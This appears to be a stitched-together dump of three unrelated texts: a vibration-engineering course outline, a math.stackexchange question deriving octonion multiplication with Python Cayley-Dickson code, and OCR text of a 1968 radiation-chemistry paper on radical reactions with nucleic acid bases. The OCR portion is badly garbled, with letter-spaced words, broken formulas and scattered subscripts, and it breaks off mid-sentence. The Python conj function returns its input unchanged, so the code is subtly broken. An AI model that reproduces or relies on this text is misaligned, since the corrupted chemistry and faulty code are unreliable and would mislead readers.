[ "# Dynamic Force and Motion (117)\n\n Purchase Options OnDemand Short Topics \\$250.00\n\n## Chapter Outline\n\n### Chapter 3 - Dynamic Force and Motion (Fundamentals of Vibration for Design Applications)\n\n• Laws of Motion\n• Weight vs. Mass\n• System of Units\n• Units of Force and Mass; Example\n• Mass, Weight, Common Units of Mass\n• Gravity\n• Weight, Specific Weight and Density\n• Relative Density or Specific Gravity\n• Work, Power, Energy\n• Some Fundamentals of Dynamics\n• A Simple Dynamic System\n• Degrees of Freedom\n• Examples of Various Degrees of Freedom\n• Single-Degree-of-Freedom (SDoF)\n• Undamped Vibrations\n• Sinusoidal Waveform\n• SDoF — Sinusoidal Relationships\n• Relationships Between Displacement, Velocity, and Acceleration\n• Effect of Frequency on Displacement, Velocity, and Acceleration\n• Natural Frequency\n• Decaying Sinusoidal Vibration\n• Forced Vibration for SDoF System\n• Transmissibility\n• Plotting Transmissibility vs. Frequency Ratio\n• Isolation and Damping\n• Determining Damping Ratio Experimentally\n• Effect of Damping\n• Vibration Isolators\n• Continuous Systems\n• Viscoelastic Damping on Laminated Beam\n• Damped vs Undamped Response\n• Modal Testing & Analysis\n• Vibration Considerations for Design Engineers" ]
[ null ]
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https://math.stackexchange.com/questions/3394507/a-real-example-of-an-octonion-product/3422682
[ "# A real example of an Octonion product\n\nGoal: find the general Octonion multiplication product like the Quaternion formula given here:\n\nhttps://en.wikipedia.org/wiki/Quaternion#Multiplication_of_basis_elements\n\n* question modified for clarity\n\nI am having trouble with Octonion multiplications. Can you help?\n\nThe equations needed to achieve your goal are provided below. As well as the steps I took for my attempt. BUT my solution does not match secondary online sources.\n\nmy solution is incorrect\n\nLet me know if you see the mistake or have a better solution.\n\nI expect the solution to be a set of 8 sums and differences of pairs of products of different combinations of 8 input variables. ie: your solution will look similar to this attempt.\n\n# Define:\n\nDoubling Product (Pt3): $$(A,B)×(C,D) = (AC − D^\\star B, DA + BC^\\star)$$\n\nConjugate: $$(A,B)^\\star = (A^\\star,-B)$$\n\nOctonion notation: $$(A,B,C,D,E,F,G,H)$$ $$= A·e0 + B·e1 + C·e2 + D·e3 + E·e4 + F·e5 + G·e6 + H·e7$$\n\nwhere :\n\n$$e0 = 1$$\n\n$$e1,e2,e3,e4,e5,e6,e7 ∈ Imaginary Units$$\n\n* imaginary values are implied based on their order within the set and will not be displayed further.\n\nPaired variables are products: $$ab = a×b$$\n\nVariables are Real numbers: a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p ∈ ℝ\n\nTo be clear... all variables used (a to p) represent Real number and no imaginary units are shown. The coefficient of imaginary numbers are not shown, because the ordering of the variables in the bracket notation matches the ordering of our imaginary numbers. ex: (1,2) = 1+2e1, (0,5,6,1,0,0,3,0) = 5e1 + 6e2 + 1e3 + 3e6\n\n# Known Quaternion Multiplication\n\nFollowing the Quaterion equation given here:\n\nhttps://en.wikipedia.org/wiki/Quaternion#Multiplication_of_basis_elements\n\n...substitute variable names like this:\n\na1 = A, b1 = B, c1 = C, d1 = D\na2 = E, b2 = F, c2 = G, d2 = H\n\n\nTo obtain {equation 1} as:\n\n(A,B,C,D)×(E,F,G,H) = (\nAE - BF - CG - DH,\nAF + BE + CH - DG,\nAG - BH + CE + DF,\nAH + BG - CF + DE,\n)\n\n\n# Octonion Multiplication:\n\n$$(a,b,c,d,e,f,g,h) × (i,j,k,l,m,n,o,p)$$\n\n$$= ((a,b,c,d),(e,f,g,h)) × ((i,j,k,l),(m,n,o,p))$$\n\nusing: $$(A,B)×(C,D) = (AC − D^\\star B, DA + BC^\\star)$$\n\nwith: $$A = (a,b,c,d), B = (e,f,g,h), C = (i,j,k,l), D = (m,n,o,p)$$\n\nthen:\n\n$$((a,b,c,d),(e,f,g,h)) × ((i,j,k,l),(m,n,o,p))$$\n\n$$=( (a,b,c,d) × (i,j,k,l) - (m, n, o, p) ^\\star × (e,f,g,h),$$ $$(m,n,o,p) × (a,b,c,d) + (e,f,g,h) × (i, j, k, l) ^\\star )$$\n\n$$= ( (a,b,c,d) × (i,j,k,l) - (m,-n,-o,-p) × (e,f,g,h),$$ $$(m,n,o,p) × (a,b,c,d) + (e,f,g,h) × (i,-j,-k,-l) )$$\n\nAbove equation is composed of 4 quaternion products:\n\n Q1 = ( a, b, c, d) × ( i, j, k, l)\n\nQ2 = ( m,-n,-o,-p) × ( e, f, g, h)\n\nQ3 = ( m, n, o, p) × ( a, b, c, d)\n\nQ4 = ( e, f, g, h) × ( i,-j,-k,-l)\n\n\n... and our solution will be the ordered set of their difference and sum:\n\n$$(a,b,c,d,e,f,g,h) × (i,j,k,l,m,n,o,p) = ( Q1-Q2, Q3+Q4 )$$\n\nIn words the equation says:\n\n\"Our solution is the difference and sum of quaternion product pairs which in order produce our Octonion solution.\"\n\n# Calculate a general Octonion Multiplication equation:\n\nFirst, calculate the 4 quaternion products...\n\n$$Q1 = ( a, b, c, d) × ( i, j, k, l)$$\n\nrecall {equation 1} is:\n\n(A,B,C,D)×(E,F,G,H) = (\nAE - BF - CG - DH,\nAF + BE + CH - DG,\nAG - BH + CE + DF,\nAH + BG - CF + DE,\n)\n\n\nusing: {equation 1}\n\nlet: A=a, B=b, C=c, D=d, E=i, F=j, G=k, H=l\n\nthen:\n\n(a,b,c,d)×(i,j,k,l) = (\n\nai-bj-ck-dl,\n\naj+bi+cl-dk,\n\nak-bl+ci+dj,\n\nal+bk-cj+di,\n\n)\n\n\n$$Q2 = ( m,-n,-o,-p) × ( e, f, g, h)$$\n\nusing: {equation 1}\n\nlet: A=m, B=-n, C=-o, D=-p, E=e, F=f, G=g, H=h\n\nthen:\n\n(m,-n,-o,-p)×(e,f,g,h) = (\n\nme+nf+og+ph,\n\nmf-ne-oh+pg,\n\nmg+nh-oe-pf,\n\nmh-ng+of-pe,\n\n)\n\n\n$$Q3 = ( m, n, o, p) × ( a, b, c, d)$$\n\nusing: {equation 1}\n\nlet: A=m, B=n, C=o, D=p, E=a, F=b, G=c, H=d\n\nthen:\n\n( m,n,o,p) × (a,b,c,d) = (\n\nma-nb-oc-pd,\n\nmb+na+od-pc,\n\nmc-nd+oa+pb,\n\nmd+nc-ob+pa,\n\n)\n\n\n$$Q4 = ( e, f, g, h) × ( i,-j,-k,-l)$$\n\nusing: {equation 1}\n\nlet: A=e, B=f, C=g, D=h, E=i, F=-j, G=-k, H=-l\n\nthen:\n\n(e,f,g,h) × (i,-j,-k,-l) = (\n\nei+fj+gk+hl,\n\n-ej+fi-gl+hk,\n\n-ek+fl+gi-hj,\n\n-el-fk+gj+hi,\n\n)\n\n\n$$( Q1-Q2, Q3+Q4 )$$\n\n( Q1-Q2, Q3+Q4 )\n\n= (\n( ai-bj-ck-dl, aj+bi+cl-dk, ak-bl+ci+dj, al+bk-cj+di )\n- ( me+nf+og+ph, mf-ne-oh+pg, mg+nh-oe-pf, mh-ng+of-pe )\n,\n( ma-nb-oc-pd, mb+na+od-pc, mc-nd+oa+pb, md+nc-ob+pa )\n+ ( ei+fj+gk+hl,-ej+fi-gl+hk,-ek+fl+gi-hj,-el-fk+gj+hi )\n)\n\n\nand recall:\n\n(a,b,c,d,e,f,g,h) × (i,j,k,l,m,n,o,p) = ( Q1-Q2, Q3+Q4 )\n\n# Octonion solution is calculated\n\n$$(a,b,c,d,e,f,g,h) × (i,j,k,l,m,n,o,p)$$\n\n(a,b,c,d,e,f,g,h) × (i,j,k,l,m,n,o,p)\n\n= (\n\nai-bj-ck-dl-me-nf-og-ph,\n\naj+bi+cl-dk-mf+ne+oh-pg,\n\nak-bl+ci+dj-mg-nh+oe+pf,\n\nal+bk-cj+di-mh+ng-of+pe,\n\nma-nb-oc-pd+ei+fj+gk+hl,\n\nmb+na+od-pc-ej+fi-gl+hk,\n\nmc-nd+oa+pb-ek+fl+gi-hj,\n\nmd+nc-ob+pa-el-fk+gj+hi,\n\n)\n\n\nand it has label { Octonion Product Equation }\n\n# Test Octonion Equation\n\nCalculate: $$(1,2,3,4,5,6,7,8) × (8,7,6,5,4,3,2,1)$$\n\nusing: { Octonion Product Equation }\n\nlet: a=1, b=2, c=3, d=4, e=5, f=6, g=7, h=8, i=8, j=7, k=6, l=5, m=4, n=3, o=2, p=1\n\nthen:\n\n$$(1,2,3,4,5,6,7,8) × (8,7,6,5,4,3,2,1)$$\n\n= (\n\n1×8-2×7-3×6-4×5-4×5-3×6-2×7-1×8,\n\n1×7+2×8+3×5-4×6-4×6+3×5+2×8-1×7,\n\n1×6-2×5+3×8+4×7-4×7-3×8+2×5+1×6,\n\n1×5+2×6-3×7+4×8-4×8+3×7-2×6+1×5,\n\n4×1-3×2-2×3-1×4+5×8+6×7+7×6+8×5,\n\n4×2+3×1+2×4-1×3-5×7+6×8-7×5+8×6,\n\n4×3-3×4+2×1+1×2-5×6+6×5+7×8-8×7,\n\n4×4+3×3-2×2+1×1-5×5-6×6+7×7+8×8,\n\n)\n\n\n= (-104, 14, 12, 10, 152, 42, 4, 74)\n\nComparing with: http://jwbales.us/rpnSedenion.html (using Pt3 setting)\n\n= ( -104, -4, 48, 64, 80, -48, 112, 56 )\n\nWARNING: the list of 8 numbers above DO NOT MATCH. They should. Can you solve the puzzle?\n\nThe formula I show must be incorrect. What am I missing?\n\n# Update:\n\nI think this calculator is broken? http://jwbales.us/rpnSedenion.html\n\nBecause I modified code found here: https://www.johndcook.com/blog/2018/07/10/cayley-dickson/\n\nAnd found: (1,2,3,4,5,6,7,8) × (8,7,6,5,4,3,2,1) = [-104. 14. 12. 10. 152. 42. 4. 74.]\n\n... which match previous results, results mentioned by J.G and the result of the calculated Octonion equation above.\n\nperhaps the generic Octonion equation above is correct\n\nIf so... I don't know how these calculators are operating:\n\nhttp://jwbales.us/rpnSedenion.html\n\nhttp://jwbales.us/rpnOctonion.html\n\nhttp://jwbales.us/sedenion.html\n\nI am unsure what is true. Do you think the formula I provided is correct?\n\nmodified python code for reference:\n\n#!/usr/bin/python\n# reference: https://www.johndcook.com/blog/2018/07/10/cayley-dickson/\nimport numpy as np\nfrom numpy.linalg import norm\n\ndef conj(x):\nxstar = -x\nxstar *= -1\nreturn xstar\n\ndef CayleyDickson(x, y):\nn = len(x)\n\nif n == 1:\nreturn x*y\n\nm = n // 2\n\na, b = x[:m], x[m:]\nc, d = y[:m], y[m:]\nz = np.zeros(n)\nz[:m] = CayleyDickson(a, c) - CayleyDickson(conj(d), b)\nz[m:] = CayleyDickson(d, a) + CayleyDickson(b, conj(c))\nreturn z\n\na = np.array([1,2,3,4,5,6,7,8])\nb = np.array([8,7,6,5,4,3,2,1])\nc = CayleyDickson(a, b)\nprint \"{} * {} = {}\".format(a, b, c)\n\n\n\nbeginner tip: I needed to \"pip install numpy\" before it would run.\n\n• I'm not sure which stack exchange can best help with this, but wherever this question ends up, it'll be easiest to help you if we can also see your code. In the mean time, double-check whether you correctly used$$(p,\\,q)^\\ast=(p^\\ast,\\,-q),\\,(p,\\,q)(r,\\,s)=(pr-s^\\ast q,\\,sp+qr^\\ast).$$A mnemonic based on this is left as an exercise to the reader. – J.G. Oct 15 at 10:21\n• Code location: github.com/peawormsworth/Tangle/blob/master/Tangle-0.04/lib/… But I don't want code review. I want someone to show the long form steps of multiplying a pair of simple integer quaternions, so I may observe the steps described. Because I know my code is doing what I want. So obviously I don't understand the steps. I am searching the Internet for one written example of someone showing Octonion multiplication but there is no more than algebra. There should be an example. Please do it or point where it is done. – peawormsworth Oct 15 at 11:54\n• Wikipedia gives $(ac-d^\\ast b,\\,da+bc^\\ast)$, but you use $(ac-db^\\ast,\\,a^\\ast d+cb)$, as does that site. Worse still, some Python I wrote gives $-104+14i+12j+10k+152l+42m+4n+74o$. – J.G. Oct 15 at 12:31\n• I have modified the question to show the steps to obtain the formula of last post. The question has been modified from a specific example into a generic solution... which should be useful to solve. I hope this inspires answers. – peawormsworth Oct 16 at 4:34\n• Any chance you could improve the formatting too? I also strongly recommend you write octonions as $a_0e_0+\\cdots+a_7e_7$ with $e_0=1$ etc., since multiplying two octonions otherwise requires $24$ letters. As it stands, your question repeats letters in a confusing way. – J.G. Oct 16 at 5:58" ]
[ null ]
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https://docecity.com/radiation-chemistry-5f10809e487dc.html
[ "Radiation Chemistrypubs.acs.org/doi/pdf/10.1021/ba-1968-0081.ch028\"VIJThen a beam of ionizing radiation hits living cell...\n\n28 Pulse Radiolysis Studies of Reactions of Primary Species in Water with Downloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\nNucleic Acid Derivatives C. L. GREENSTOCK, M. NG, and J. W. HUNT Department of Medical Biophysics, University of Toronto, Toronto, Canada\n\nBimolecular rate constants have been measured for the re­ actions of the solvated electron (e aq) and the hydroxyl free radical (∙OH) with a variety of nucleic acid derivatives. In neutral solution, the e aq reaction rates are diffusion con­ trolled and the ∙OH reaction rates are only slightly lower. For uracil, the e aq reactivity is reduced as the p H is in­ creased partly because of the electrostatic repulsion from the negatively charged molecule and partly because of a tautomeric structural change. The ∙OH reactivity shows no distinct changes around the pK value. The sites of attack of e-aq are probably the carbonyl groups in pyrimidines and the imidazole ring in purines. The primary site of attack of ∙OH is the 5,6 double bond in pyrimidines. The reactivity per nucleotide is considerably reduced in long-chain poly­ nucleotides, the effect increasing with chain length. -\n\n-\n\n-\n\na\n\n\" V I J T h e n a b e a m o f i o n i z i n g r a d i a t i o n hits l i v i n g cells, i m p o r t a n t c e l l f u n c t i o n s m a y b e a l t e r e d o r d e s t r o y e d . I n p a r t i c u l a r , the r e p l i c a t i o n m e c h a n i s m s of t h e c e l l w h i c h are associated w i t h their genetic m a t e r i a l , d e o x y r i b o n u c l e i c a c i d ( D N A ) , are p a r t i c u l a r l y radiosensitive. to a p p r e c i a t e f u l l y the b i o l o g i c a l i m p l i c a t i o n s of this d a m a g e , u n d e r s t a n d i n g at t h e c h e m i c a l l e v e l is n e e d e d .\n\nI n order further\n\nF o r these reasons, w e\n\nare u n d e r t a k i n g a d e t a i l e d s t u d y of t h e reactions of t h e p r i m a r y reactive species i n w a t e r (e~ , • O H ) w i t h n u c l e i c a c i d d e r i v a t i v e s . m\n\nA large n u m b e r of papers h a v e b e e n p u b l i s h e d i n w h i c h t h e reac­ t i v i t y of e~\n\naq\n\na n d - O H r a d i c a l s w i t h o r g a n i c c o m p o u n d s of b i o l o g i c a l\n\ninterest h a v e b e e n s t u d i e d i n a n attempt to d e t e r m i n e t h e c o n t r o l l i n g 397 In Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n398\n\nfactors i n s u c h reactions\n\nI n most cases,\n\n(2, 7, 10, 11, 17, 21, 23).\n\n1\n\ne~\n\nm\n\nacts l i k e a n u c l e o p h i l e , a t t a c k i n g positions of l o w electron density. F o r example, e l e c t r o n w i t h d r a w i n g g r o u p s s u c h as — C = = N increase\n\nand\n\n^c=o \" ( f\n\nC\n\nQH\n\nthe reactivity, w h i l e H , O H , C H , a n d N H 3\n\n2\n\ngroups\n\nr e d u c e i t . W h i l e u n s u b s t i t u t e d h e t e r o c y c l i c c o m p o u n d s are f a i r l y u n reactive, t h e i n t r o d u c t i o n of c a r b o n y l or i m i d a z o l e groups greatly i n ­ creases t h e r e a c t i v i t y .\n\nA n o t h e r factor affecting t h e e~\n\nm\n\nreactivity, the\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\ncharge o n t h e solute m o l e c u l e , has b e e n i n v e s t i g a t e d b y G o r d o n et al. (14)\n\na n d D a i n t o n et al. (12)\n\na n d i n organic molecules b y Braams\n\n(10,\n\n11). T h e observations of H a r t et al. (17,18)\n\na n d Scholes et al. (23)\n\nhave\n\ns h o w n that b o t h t h e p u r i n e a n d p y r i m i d i n e bases of n u c l e i c acids react r a p i d l y w i t h b o t h e~\n\nm\n\nand • O H .\n\nI n this p a p e r , t h e r e a c t i o n rates of these\n\np r i m a r y species w i t h a v a r i e t y of n u c l e i c a c i d derivatives h a v e\n\nbeen\n\nm e a s u r e d u n d e r different c h e m i c a l c o n d i t i o n s i n a n attempt to u n d e r s t a n d the factors responsible f o r variations i n t h e i r reactivities. Experimental A 30 M e v . l i n e a r accelerator p r o d u c i n g 0.25-2/xsec. electron pulses d e l i v e r i n g a dose p e r p u l s e of 5 0 - 5 0 0 rads w a s u s e d as t h e r a d i a t i o n source. A S y l v a n i a D X M 250 w a t t q u a r t z i o d i d e l a m p o r a P h i l i p s S P 1000, 1000 w a t t h i g h pressure m e r c u r y a r c was u s e d as the a n a l y z i n g l i g h t source. T h e l i g h t w a s passed f o u r times t h r o u g h a 6 c m . l o n g d e t e c t i o n c e l l a n d w a s b e a m e d b y 8 - i n c h d i a m e t e r m i r r o r s to a n adjacent r o o m w h e r e the d e s i r e d s i g n a l was d e t e c t e d b y a B a u s c h a n d L o m b 50 c m . f o c a l length monochromator a n d D u m o n t 7664Q photomultiplier. T h e output was d i s p l a y e d o n a H e w l e t t P a c k a r d 180A oscilloscope a n d p h o t o g r a p h e d . U p o n o p e n i n g t h e c a m e r a shutter, t h e oscilloscope w a s t r i g g e r e d f o u r times to r e c o r d o n t h e same p h o t o g r a p h t h e zero l e v e l , t h e t r a n s m i t t e d l i g h t l e v e l , a n d also another base l i n e a n d t h e a b s o r p t i o n s i g n a l at h i g h e r sensitivity ( 1 5 ) . T h e l i n a c p u l s e i n t e n s i t y w a s m o n i t o r e d w i t h a secondary emission m o n i t o r (19, 26) w h i c h has t h e same aperture size as t h e i r r a d i a t i o n c e l l . E a c h rate constant d e t e r m i n a t i o n represents t h e average of three d e c a y curves w h i c h w e r e r e a d f r o m t h e p h o t o g r a p h s a n d c o n v e r t e d i n t o d i g i t a l f o r m b y a n O s c a r K 7 7 c u r v e reader. T h e rate constants a n d c o n ­ fidence l i m i t s w e r e c a l c u l a t e d f r o m these d a t a b y m a k i n g a regression fit to a n e x p o n e n t i a l d e c a y w i t h the assistance of a G e n e r a l E l e c t r i c D a t a N e t computer. T h e c o m p o u n d s , cytosine, t h y m i n e , u r a c i l , u r i d i n e , u r i d y l i c a c i d ( U M P ) , u r i d y l y l - ( 3 ' - » 5')-uridine ( U p U ) , oligouridylic acid (oligo U ) , a d e n i n e , a n d adenosine ( C a l b i o c h e m . I n c . ) w e r e c h r o m a t o g r a p h i c a l l y p u r e . T h e s u b s t i t u t e d p y r i m i d i n e s a n d p u r i n e s , 1 , 3 - d i m e t h y l u r a c i l , 2,4diethoxypyrimidine, dihydrouracil, a n d imidazole were obtained from Sigma Chemical Corp. a n d Cyclochemical Corp. T h e C H O H (Fisher) w a s spectroscopic grade a n d K C N S , H 0 , H C 1 0 , K H P 0 , K H P 0 , 3\n\n2\n\n2\n\n4\n\n2\n\n4\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n2\n\n4\n\n28.\n\nNucleic\n\nGREENSTOCK E T A L .\n\nAcid\n\n399\n\nDerivatives\n\nN a C O , N a H C 0 , N a O H , a n d N a S 0 w e r e \" A n a l a R \" grade ( B r i t i s h D r u g Houses). A l l these c o m p o u n d s w e r e u s e d w i t h o u t f u r t h e r purification. T h e solutions w e r e p r e p a r e d u s i n g t r i p l y d i s t i l l e d w a t e r o b t a i n e d f r o m a q u a r t z s t i l l b a s e d u p o n a d e s i g n b y K . S c h m i d t ( 2 2 ) . Since t h e r e a c t i o n rates of the c o m p o u n d s s t u d i e d w e r e v e r y d e p e n d e n t o n p H , t h e p H w a s s t a b i l i z e d b y c o m p a r a t i v e l y l o w concentrations (0.5 X 1 0 \" M ) of u n r e a c t i v e i n o r g a n i c buffers. A list of t h e buffers u s e d t o c o n t r o l t h e p H are s h o w n i n T a b l e I, together w i t h t y p i c a l e~ lifetimes o f t h e d e o x y g e n a t e d matrices ( b l a n k solutions m i s s i n g o n l y t h e reactive solutes). T o e l i m i n a t e changes i n r e a c t i v i t y as a f u n c t i o n of the i o n i c e n v i r o n m e n t , the e~ studies w e r e done w i t h solutions m a i n t a i n e d at 0.1 i o n i c strength w i t h t h e u n r e a c t i v e salt, N a S 0 . M e t h a n o l ( 1 0 \" M ) w a s a d d e d as a n • O H scavenger, a n d t h e solutions w e r e d e o x y g e n a t e d b y b u b b l i n g f o r 15 m i n u t e s w i t h extra h i g h p u r i t y n i t r o g e n ( O h i o C h e m i c a l C o r p o r a t i o n ) , u s i n g H a r t ' s syringe t e c h n i q u e (16). W h e n the e \" r e a c t i o n rates w e r e b e i n g m e a s u r e d , t h e c o n c e n t r a t i o n of solute w a s chosen to give a n e~ h a l f - l i f e of a p p r o x i m a t e l y 1 /xsec. H e n c e , at l o w p H values, t h e c o r r e c t i o n t o t h e absolute rate constant because of t h e finite e~ l i f e t i m e i n t h e m a t r i x is as large as 2 0 % , b u t this falls t o b e l o w 1 % at the highest p H (see T a b l e I ) . 2\n\nH\n\n3\n\n2\n\n4\n\n3\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\nm\n\nm\n\n2\n\n2\n\n4\n\naq\n\nm\n\nm\n\nTable I. Buffers Used to Stabilize p H for e~ Measurements and Typical Half-Lives ( r l / 2 ) Observed in These Deoxygenated Matrices Containing 10\"2M Methanol, 5 X 10~4M Buffer and Na 2 S0 4 to 0.1 Ionic Strength m\n\nBuffer KH P0 K HP0 Na C0 N a H C O '3 , NaOH 2\n\n4\n\n2\n\n4\n\n2\n\n3\n\npH Range\n\ne qrl /2 (fisec.) of Matrix\n\n5- 6 6- 8 8- 9 9 - 11 11-13\n\n5-10 10-20 20-30 30-50 50-150\n\na\n\nB e c a u s e t h e O H a b s o r p t i o n s p e c t r u m is i n t h e u l t r a v i o l e t r e g i o n of the s p e c t r u m (28), w h e r e a l l n u c l e i c a c i d derivatives absorb strongly, • O H r e a c t i o n rates i n these experiments w e r e m e a s u r e d u s i n g a m o d i ­ fication of the c o m p e t i t i o n m e t h o d of A d a m s et al. (1, 2, 3, 4, 5). I n this m e t h o d , t h e c o m p e t i t i v e solute ( C N S \" ) forms a l o n g l i v e d species (P) a b s o r b i n g at 500 m/x f o l l o w i n g its r e a c t i o n w i t h - O H at a rate k . T h e solute ( S ) competes w i t h C N S \" f o r - O H at a rate k. n r e d u c i n g t h e y i e l d of P ( R e a c t i o n s 1 a n d 2 ) . 2\n\n0\n\nk-OH\n\n• O H + S —» non-absorbing product\n\n(i)\n\nk • O H + C N S \" - » absorbing product ( P )\n\n(2)\n\n2\n\nIn the absence of solute, for a given dose, the optical density of the absorbing species is O D . W h e n solute is added, the final optical density 0\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n400\n\n1\n\n( O D ) of the a b s o r b i n g species is r e d u c e d b y the f r a c t i o n of - O H r a d i ­ cals w h i c h n o w react w i t h the solute. T h i s change i n a b s o r p t i o n is g i v e n by:\n\nIf k is k n o w n , the v a l u e of k.on m a y be d e t e r m i n e d f r o m the o p t i c a l d e n s i t y change. 2\n\nI n s t u d y i n g reactions w i t h • O H a n e~ scavenger m u s t b e a d d e d to e l i m i n a t e interference f r o m e\\ a d d i t i o n p r o d u c t s . N i t r o u s o x i d e is o f t e n u s e d f o r this p u r p o s e , b u t at the h i g h concentrations of C N S \" u s e d i n these experiments, u n u s u a l s c a v e n g i n g kinetics w e r e o b s e r v e d , suggesting that the intermediates N 0 \" or O \" m i g h t be i n t e r f e r i n g w i t h the r e a c t i o n . I n these experiments, a n alternative e l e c t r o n scavenger, H 0 , w a s u s e d . T h e H 0 c o n c e n t r a t i o n m u s t be l o w e n o u g h to p r e v e n t the r e a c t i o n of • O H w i t h H 0 f r o m c o m p e t i n g w i t h Reactions 1 a n d 2. A l t e r n a t i v e l y , i t m u s t be h i g h e n o u g h to ensure efficient e~ s c a v e n g i n g . T h e i m p o r t a n t reactions w h i c h m u s t be c o n s i d e r e d i n the C N S \" c o m p e t i t i o n are: m\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\nLX\n\n2\n\n2\n\n2\n\n2\n\n2\n\n2\n\n2\n\nm\n\nk-OH\n\nOH + S\n\n->\n\nproducts\n\n(4)\n\n• O H + C N S \" -> C N S - + O H -\n\nCNS- + CNS ^\n\n(CNS)\"\n\n1.4 X 1 0 e\n\na q\n\ne~\n\naq\n\n+ H 0 2\n\n+ S\n\n—>\n\nq\n\nOH + OH-\n\nproducts\n\n1.9 X 1 0 e\\\n\n2\n\n(7) (8)\n\n10\n\n->\n\n+ 0\n\n(6)\n\n2\n\n10\n\n->\n\n2\n\n(5)\n\nO -\n\n(9)\n\na\n\n2 2 X 10~ OH + H 0 -» H0 - + H 0 (10) F o r - O H r e a c t i o n studies, aerated solutions c o n t a i n i n g 2 X 1 0 \" M K C N S a n d 1 0 \" M H 0 w e r e u s e d . A t the highest concentrations (4 X 1 0 ~ M ) of a t y p i c a l solute, u r a c i l , 3 0 % of the e~ react w i t h u r a c i l , 7 0 % w i t h H 0 , a n d o n l y 1 % w i t h the o x y g e n present i n aerated solutions ( R e a c t i o n s 7, 8, a n d 9 ) . T h e t h e o r e t i c a l l y expected - O H y i e l d s h o u l d consist of almost e q u a l c o n t r i b u t i o n s f r o m the p r i m a r y y i e l d a n d the c o m p o n e n t a r i s i n g f r o m the c o n v e r s i o n of e~ to • O H t h r o u g h R e a c t i o n 7. H o w e v e r , i n the presence of 4 X 1 0 \" M u r a c i l , the - O H y i e l d is r e d u c e d to 8 5 % of the e x p e c t e d y i e l d b y R e a c t i o n 8. F o r a l l u r a c i l concentrations, the r e a c t i o n of - O H w i t h H 0 ( R e a c t i o n 10) o n l y reduces the - O H 2\n\n2\n\n2\n\n2\n\n3\n\n2\n\n2\n\n2\n\n3\n\nm\n\n2\n\n2\n\nm\n\n3\n\n2\n\n2\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n28.\n\nNucleic\n\nGREENSTOCK E T A L .\n\nAcid\n\n401\n\nDerivatives\n\ny i e l d b y 1 - 2 % a n d is, therefore i n significant i n the c o m p e t i t i o n for - O H compared with uracil and C N S . A c o r r e c t i o n w a s a p p l i e d for this r e d u c t i o n i n O H y i e l d to e a c h p o i n t i n the c o m p e t i t i o n plot. If this c o r r e c t i o n w e r e not a p p l i e d , it w o u l d l e a d at the w o r s t to a 1 7 % o v e r e s t i m a t i o n i n the absolute rate constant f o r • O H attack o n u r a c i l . T h e transient a b s o r p t i o n spectra o b t a i n e d i m m e d i a t e l y after the p u l s e f r o m aerated K C N S solutions at p H 2, 7 a n d 13.5 r e s p e c t i v e l y , are s h o w n i n F i g u r e 1. T h e s e spectra are i n g o o d agreement w i t h those r e p o r t e d b y A d a m s et al. (3, 4, 5 ) . B o t h H 0 a n d N 0 are f o u n d to d o u b l e the y i e l d of the a b s o r b i n g species (3, 4, 5) as w o u l d b e e x p e c t e d f r o m R e a c ­ t i o n 7. T h i s s p e c t r u m was o r i g i n a l l y t h o u g h t to b e c a u s e d b y the C N S • r a d i c a l ( R e a c t i o n 5 ) , b u t r e c e n t l y B a x e n d a l e et al. ( 9 ) h a v e suggested that the spectra are i n fact c a u s e d b y ( C N S ) \" f o r m e d b y R e a c t i o n 6.\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 | http://pubs.acs.org Publication Date: January 1, 1968 | doi: 10.1021/ba-1968-0081.ch028\n\n2\n\n2\n\n2\n\n2\n\ni\n\n1\n\n300\n\n400\n\n1\n\n500\n\nr\n\n600\n\nX (m//) Figure 1. Transient absorptions in aerated 2 X 10~ M CNS\" solutions containing 10 M H 0 at pH values of 2, 7, and 13.5. The dotted curve shows the absorption spectrum obtained by Adams et al. (3) normalized to the curve obtained at pH 7. Dose per pulse approximately 500 rads 3\n\n2\n\n2\n\n2\n\nT h e d i r e c t o b s e r v a t i o n of O H r e a c t i o n rates b y the d i s a p p e a r a n c e of the 5, 6 d o u b l e b o n d i n u r a c i l w a s also u s e d i n these experiments. T h i s m e t h o d has m a n y advantages since it is not subject to the uncertainties w h i c h p l a g u e the c o m p e t i t i o n experiments. H o w e v e r , s u c h a d i r e c t m e t h o d is c o m p l i c a t e d b y the necessity to use a r e l a t i v e l y h i g h c o n c e n -\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n402\n\n1\n\nt r a t i o n of u r a c i l ( a b o u t 1 0 \" M ) so that the r e a c t i o n is fast, w h i l e o b t a i n ­ i n g a reasonable l i g h t t r a n s m i s s i o n i n the r e g i o n of the 5 , 6 d o u b l e b o n d absorption (e 9 = 8.20 X 1 0 M c m . \" ) . T o a c c o m p l i s h this, t w o l i g h t passes t h r o u g h a 5 m m . d e t e c t i o n c e l l w e r e u s e d . S c a t t e r e d l i g h t correc­ tions u n d e r these c o n d i t i o n s w e r e less t h a n 1 0 % . I n a d d i t i o n , a large r a d i a t i o n p u l s e ( 1 - 4 K r a d ) w a s u s e d to c h a n g e a m e a s u r a b l e f r a c t i o n ( a b o u t 1 0 % ) of the u r a c i l i n each p u l s e . D a r k c u r r e n t f r o m the l i n a c , w h i c h m i g h t h a v e r e d u c e d the c o n c e n t r a t i o n of u n r e a c t e d u r a c i l , w a s e l i m i n a t e d b y a d d i n g a p n e u m a t i c a l l y o p e r a t e d b l o c k i n the b e a m l i n e w h i c h m o v e d out of the w a y 1/2 s e c o n d b e f o r e the p u l s e . T h e samples w e r e c h 